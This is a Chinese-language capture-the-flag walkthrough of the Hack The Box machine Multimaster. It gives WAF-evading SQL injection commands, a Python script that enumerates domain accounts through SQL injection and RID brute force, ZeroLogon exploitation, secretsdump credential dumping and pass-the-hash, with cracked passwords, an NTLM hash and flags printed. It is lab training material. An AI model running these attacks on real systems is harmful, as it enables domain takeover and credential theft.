cascadeLegacyPwd

baCT3r1aN00dles

admin 能使用 winrm

admin

root.txt
02ea5cae0ea9a27aeb42e45372d6ddb8

Multimaster

掃描後可以看到他開了 ldap 、http、smb

search
用了所有工具都沒掃到什麼 所以決定直接用看的去 80 port
http
發現一個可以尋找同事的地方 我只是 enter 就跑出所有 user 了 有可能是 sqli 的問題🤔

nosql
所以我用 burpsuit 去抓他 發現他是用 api 去抓資料的 以及他是使用 nosql 的

所以我就試試看 nosqli 它回傳空值

我掃了網站發現,基本上都是 403 雖然網站上沒有顯示,但應該是因為 waf 把它擋住了 所以可以判斷他應該也有設置黑名單來防止 sqli

所以我去找他禁止了甚麼字
wfuzz -c -u http://10.10.10.179/api/getColleagues -w /usr/share/seclists/Fuzzing/special-chars.txt -d '{"name":"FUZZ"}' -H 'Content-Type: application/json;charset=utf-8' -t 1

所以把 200 去掉 這些是被攔截的字

sqlmap
所以我用 sqlmap 去掃看看
sqlmap -r co.request --tamper=charunicodeescape --delay 5 --level 5 --risk 3 --batch --proxy http://127.0.0.1:8080

–dbs

把所有資料庫的內容 dump 出來
–dump-all –exclude-sysdbs
除了出了很多用戶以外

也跑出很多密碼的 hash

我將密碼整合起來拿去解密
hashcat -m 17900 hashs /usr/share/wordlists/rockyou.txt --force
發現他只有三組密碼

我拿去尋找這是誰的帳號 但他回我他要有帳號才可以掃 所以我們要回去找他 domain 的 user

using sqlmap
他用這串去攻擊他 所以我打算用他的 payload 去尋找我要找的 domain user

我先把他轉成 hex

傳回去後可以看到有一串特別不一樣的內容

所以我把他原本那串 payloads 改成 default_domain()

塞進去之後可以發現 他的 default 是 MEGACORP

RID
接著我就想這要怎麼用 我就查到 sql 中有一個 SUSER_SID 他會回傳安全性內容的 sid
https://learn.microsoft.com/zh-tw/sql/t-sql/functions/suser-sid-transact-sql?view=sql-server-ver16
也就是每個不同 user 的身分證的概念

-8469' UNION ALL SELECT 96,96,96,96,SUSER_SID('MEGACORP\Domain Admins')-- GQcY

同上面使用的方法 它回傳了東西給我 但看起來應該是不能用的啦

所以我又去找了怎模用 master.dbo.fn_varbintohexstr
https://blog.uwinfo.com.tw/auth/article/bike/407
-8469' UNION ALL SELECT 96,96,96,96,master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\Domain Admins'))-- GQcY
這是他的 rid: 0x0105000000000005150000001c00d1bcd181f1492bdfc23600020000 他的 sid 是: 0x0105000000000005150000001c00d1bcd181f1492bdfc236

管理員 default rid 是 500

500 的 hex 是 0x1f4 把他改成 4 bytes 再 reverse 他 結果是 0xf4010000
所以理論上 sid + 0xf4010000 會是管理員 我用 SUSER_SNAME 證實看看

所以確定可以這麼做 我編了一個腳本用來列出所有的 domain_users
#!/usr/bin/env python3
import binascii
import requests
import struct
import sys
import time
payload_template = """test' UNION ALL SELECT 58,58,58,{},58-- -"""
def unicode_escape(s):
return "".join([r"\u{:04x}".format(ord(c)) for c in s])
def issue_query(sql):
while True:
resp = requests.post(
"http://10.10.10.179/api/getColleagues",
data='{"name":"' + unicode_escape(payload_template.format(sql)) + '"}',
headers={"Content-type": "text/json; charset=utf-8"},
proxies={"http": "http://127.0.0.1:8080"},
)
if resp.status_code != 403:
break
sys.stdout.write("\r[-] Triggered WAF. Sleeping for 30 seconds")
time.sleep(30)
return resp.json()[0]["email"]
print("[*] Finding domain")
domain = issue_query("DEFAULT_DOMAIN()")
print(f"[+] Found domain: {domain}")
print("[*] Finding Domain SID")
sid = issue_query(f"master.dbo.fn_varbintohexstr(SUSER_SID('{domain}\Domain Admins'))")[:-8]
print(f"[+] Found SID for {domain} domain: {sid}")
for i in range(500, 10500):
sys.stdout.write(f"\r[*] Checking SID {i}" + " " * 50)
num = binascii.hexlify(struct.pack("<I", i)).decode()
acct = issue_query(f"SUSER_SNAME({sid}{num})")
if acct:
print(f"\r[+] Found account [{i:05d}] {acct}" + " " * 30)
time.sleep(1)
print("\r" + " " * 50)
除了上面剛剛做的所有 sqli 流程 為了規避 waf 讓他睡覺 30 秒

我將這些 user 存下來再去找一次哪個帳號可以用 tushikikatomo:finance1

user
tushikikatomo 有 winrm 可以用

帳號的名字跟主機裡的名字不一樣ㄟ🤔 alcibiades

user.txt
89656f1686ae9cc4d336d1ee00278fa8

分岐
我看了一下正在執行的程式有哪些 發現很多code

原本我是找到 CVE-2019-1414 要使用 cefdebug https://github.com/taviso/cefdebug/releases
有點麻煩,而且動作要很快 因為他的 uuid 很快就會失效 接下來會遇到,要穿過很多不同的身分組 用傳統的方法 從 whoami /priv 查看權限 利用權限漏洞提升到 admin
但有鑑於這台機器是 2020 年 5 月製作的 windows 版本是 2016(? 我另外還查到了一個很有名的漏洞 CVE-2020–1472 aka ZeroLogon aka 三秒駭入你的 AD
原理:https://medium.com/cycraft/cve-2020-1472-zerologon-aa24b97e3fe2
也就是說如果我用 ZeroLogon 可以直接跳過繁雜的穿過不同身分組 直接提升 admin
ZeroLogon
https://github.com/dirkjanm/CVE-2020-1472.git
python3 cve-2020-1472-exploit.py MULTIMASTER 10.10.10.179
基本上所有帳戶都被 dump 出來了

impacket-secretsdump -no-pass -just-dc MULTIMASTER\$@10.10.10.179
Administrator:500:aad3b435b51404eeaad3b435b51404ee:69cbf4a9b7415c9e1caf93d51d971be0

接著可以利用 pass the hash 的方式
變成 admin


cd6c252a87fe2b945f6ed651cb39106b

